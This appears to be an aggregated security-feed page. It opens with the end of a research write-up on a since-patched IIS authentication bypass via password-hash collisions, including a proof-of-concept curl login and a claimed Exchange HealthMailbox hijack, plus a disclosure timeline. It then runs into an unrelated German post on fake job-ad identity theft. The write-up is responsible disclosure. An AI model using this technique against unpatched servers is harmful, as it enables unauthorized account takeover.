> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

As you can see, the attacker can log into the user orange with another password whose hash is the same as the original one.

However, it’s not easy to collide the hash. The probability of each attempt is only worth 1/2^32 because the hash is a 32-Bit Integer, and the attacker has no way to know the hash of existing cache keys. It’s a ridiculous number to make exploiting this bug like playing a lottery. The only pro is that the attempt costs nothing, and you have unlimited tries!

To make this bug more practical, we proposed several ways to win the lottery, such as:

  1. Increase the odds of the collision - LKRHash combined LCGs to scramble the result to make the hash more random. However, we can lower the key space because the LCG is not one-to-one mapping under the 32-Bit Integer. There must be results that will never appear so that we can pre-compute a dictionary that excludes the password whose hash is not in the results and increase the success rate by 13% at least!
  2. Regain the initiative - By understanding the root cause, we brainstorm several use cases that can cache the token in memory forever and no longer wait for user interaction, such as the IIS feature Connect As or leveraging software design patterns.

We have also proved this attack works naturally on Microsoft Exchange Server. By leveraging the default activated Exchange Active Monitoring service, we can enter HealthMailbox’s mailbox without passwords! This authentication-less account hijacking is useful for further exploitations such as phishing or chaining another post-auth RCE together!


  • Mar 16, 2022 - We reported the IIS Cache Poisoning to Microsoft through the MSRC portal.
  • Apr 09, 2022 - We reported the IIS Hash-Flooding DoS to Microsoft through the MSRC portal.
  • Apr 10, 2022 - We reported the IIS Authentication Bypass to Microsoft through the MSRC portal.
  • Jul 12, 2022 - Microsoft fixed everything at July’s Patch Tuesday.

HanseSecure im ARD München Report

By: Hansemann
14 August 2022 at 10:26
Gängige Bewerberportale bieten den Nährboden für falsche Stellenanzeigen und den einhergehenden Identitätsdiebstahl. "Schicken Sie uns Ihren Lebenslauf und wir benötigen Ihre Daten", somit -VIELEN DANK für IHRE IDENTITÄT-. Erkennbar ist für Bewerber nichts! Diese Masche läuft schnell und unkompliziert. Die Gefahr- plötzlich führt die Unwissenheit zur Strafe. Strafverfahren für den gutgläubigen Bewerber folgen.